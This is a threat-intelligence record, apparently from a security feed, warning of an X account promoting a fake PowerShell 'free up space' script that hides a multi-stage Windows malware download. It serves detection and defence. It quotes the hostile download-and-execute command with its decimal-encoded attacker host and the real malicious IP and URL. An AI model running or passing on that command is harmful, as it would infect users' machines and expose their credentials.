{"id":"CMP-202611-anhxfr","kind":"campaign","aliases":[],"related":[],"title":"Verified X account 'Sofia Black' pushes a fake 'free up space' PowerShell script that downloads multi-stage Windows malware from 81.168.24.109","description":null,"summary":"A verified X account named 'Sofia Black' promotes a 'FREE YOUR PC, FREE UP SPACE' PowerShell script. The script hides a download command, iex(curl.exe -s 1369980461/81689), where the decimal number is the IP address 81.168.24.109, so it fetches and runs code from https://81.168.24.109/81689. vx-underground (6 Nov 2026) traced a multi-stage chain: an initial download (IRX), stage two, stage three and a NodeJS payload. The malware family, what it steals, how many people ran it and the start date are unknown. Anyone on Windows who pasted the script is exposed.","severity":"high","cvss":null,"epss":null,"exploited":true,"exploited_at":"2026-11-06T07:19:57+00:00","products":[{"name":"Windows","fixed":[],"vendor":"Microsoft"},{"name":"PowerShell","fixed":[],"vendor":"Microsoft"}],"ecosystems":[],"tags":["campaign","early-warning"],"not_affected_if":[],"how_to_check":"Look for posts or messages from X account 'Sofia Black' offering a 'FREE YOUR PC, FREE UP SPACE' PowerShell script. Lure text contains: iex(curl.exe -s 1369980461/81689). Network: connections to 81.168.24.109 (https://81.168.24.109/81689). In PowerShell history and EDR, look for curl.exe -s with a decimal-number host. SHA-256 hashes: initial download (IRX) 50ba5dffde0eacd8d1f48be9b389c1348d1c484bb1740ad119b4207319b13778; stage two 0f2566b570ecb4a01e9b52c4c996e5687f79dbe1351cac82d92b49ade12a82dd; stage three 00f85bb784f3422ca0d959732a58bfceb4457c7adedd1d498ad1759148bb164b. Unexpected Node.js processes after running the script.","fix":"Never paste PowerShell 'cleanup' or 'speed-up' commands from social media. Block 81.168.24.109. If the script was run: disconnect the machine, treat it as compromised (reimage), and from a clean device change saved browser passwords, revoke sessions and rotate any keys or crypto wallets on that machine.","status":"open","published_at":null,"first_seen_at":"2026-11-06T07:19:57+00:00","triaged_at":"2026-11-06T07:19:57+00:00","updated_at":"2026-11-06T07:21:57+00:00","category":"other","confidence":null,"triage":null,"analyst_status":"done","analyst_note":null,"search":"'-202611':24A '/81689':76B '1369980461/81689':58B '2026':82B '6':80B '81.168.24.109':22A,67B,75B 'account':3A,35B 'address':66B 'anhxfr':25A 'anyon':118B 'black':5A,38B 'campaign':28B 'chain':88B 'cmp':23A 'code':73B 'command':54B 'curl.exe':56B 'date':115B 'decim':61B 'download':15A,53B,91B 'earli':30B 'early-warn':29B 'expos':126B 'fake':8A 'famili':103B 'fetch':70B 'free':9A,41B,44B 'hide':51B 'iex':55B 'initi':90B 'ip':65B 'irx':92B 'malwar':20A,102B 'mani':108B 'multi':17A,86B 'multi-stag':16A,85B 'name':36B 'nodej':99B 'nov':81B 'number':62B 'past':122B 'payload':100B 'pc':43B 'peopl':109B 'powershel':12A,47B 'powershell':27A 'promot':39B 'push':6A 'ran':110B 'run':72B 'script':13A,48B,50B,124B 'sofia':4A,37B 'space':11A,46B 'stage':18A,87B,93B,95B 'start':114B 'steal':106B 'three':96B 'trace':83B 'two':94B 'underground':79B 'unknown':117B 'verifi':1A,33B 'vx':78B 'vx-underground':77B 'warn':31B 'window':19A,120B 'windows':26A 'x':2A,34B","nicknames":[],"mitigations":[],"who_affected":null,"tier":"A","verified":{},"analyst_revisit_at":null,"fix_status":null,"audience":null,"plain_action":null,"pkeys":["powershell","windows"],"ptokens":["powershell","windows"],"labels":["campaign","earlywarning","high","other"],"campaign_type":"malware","search_a":"'-202611':24A '81.168.24.109':22A 'account':3A 'anhxfr':25A 'black':5A 'cmp':23A 'download':15A 'fake':8A 'free':9A 'malwar':20A 'multi':17A 'multi-stag':16A 'powershel':12A 'powershell':27A 'push':6A 'script':13A 'sofia':4A 'space':11A 'stage':18A 'verifi':1A 'window':19A 'windows':26A 'x':2A","search_b":"'/81689':76B '1369980461/81689':58B '2026':82B '6':80B '81.168.24.109':67B,75B 'account':35B 'address':66B 'anyon':118B 'black':38B 'campaign':28B 'chain':88B 'code':73B 'command':54B 'curl.exe':56B 'date':115B 'decim':61B 'download':53B,91B 'earli':30B 'early-warn':29B 'expos':126B 'famili':103B 'fetch':70B 'free':41B,44B 'hide':51B 'iex':55B 'initi':90B 'ip':65B 'irx':92B 'malwar':102B 'mani':108B 'multi':86B 'multi-stag':85B 'name':36B 'nodej':99B 'nov':81B 'number':62B 'past':122B 'payload':100B 'pc':43B 'peopl':109B 'powershel':47B 'promot':39B 'ran':110B 'run':72B 'script':48B,50B,124B 'sofia':37B 'space':46B 'stage':87B,93B,95B 'start':114B 'steal':106B 'three':96B 'trace':83B 'two':94B 'underground':79B 'unknown':117B 'verifi':33B 'vx':78B 'vx-underground':77B 'warn':31B 'window':120B 'x':34B","search_c":"","first_public_at":"2026-11-06T07:01:39+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"analyst","external_id":"CMP-202611-anhxfr","url":null,"severity":null,"published_at":null,"modified_at":null,"first_seen_at":"2026-11-06T07:19:57+00:00","fetched_at":"2026-11-06T07:19:57+00:00","note":null}],"documents":[{"id":84189,"url":"https://x.com/vxunderground/status/2118599679537483808","title":"@vxunderground: > Sofia Black\n> verified on X\n> the everything app\n> FREE YOUR PC, F","kind":"post","source":"x","publisher":null,"text":"> Sofia Black\n> verified on X\n> the everything app\n> FREE YOUR PC, FREE UP SPACE\n> run shrimple Powershell script\n> looks legit\n> wait\n> squint eyes\n> iex(curl.exe -s 1369980461/81689)\n> hmmm\n> 1369980461/81689?\n> decimal2ip\n> https://81.168.24.109/81689\n> hmmmm\n> curl.exe -v https://t.co/ykDgTGnrLc https://t.co/n2C4En0G6n\n\nlikes 427 reposts 30","published_at":"2026-11-06T07:01:39+00:00","relation":"describes","confidence":null,"note":null},{"id":84193,"url":"https://x.com/vxunderground/status/2118600707880202526","title":"@vxunderground: Initial download (IRX):\n50ba5dffde0eacd8d1f48be9b389c1348d1c484bb1740ad119b42073","kind":"post","source":"x","publisher":null,"text":"Initial download (IRX):\n50ba5dffde0eacd8d1f48be9b389c1348d1c484bb1740ad119b4207319b13778\n\nStage two:\n0f2566b570ecb4a01e9b52c4c996e5687f79dbe1351cac82d92b49ade12a82dd\n\nStage three:\n00f85bb784f3422ca0d959732a58bfceb4457c7adedd1d498ad1759148bb164b\n\nNodeJS goop:\n\nlikes 29 reposts 0","published_at":"2026-11-06T07:05:45+00:00","relation":"describes","confidence":null,"note":null}],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}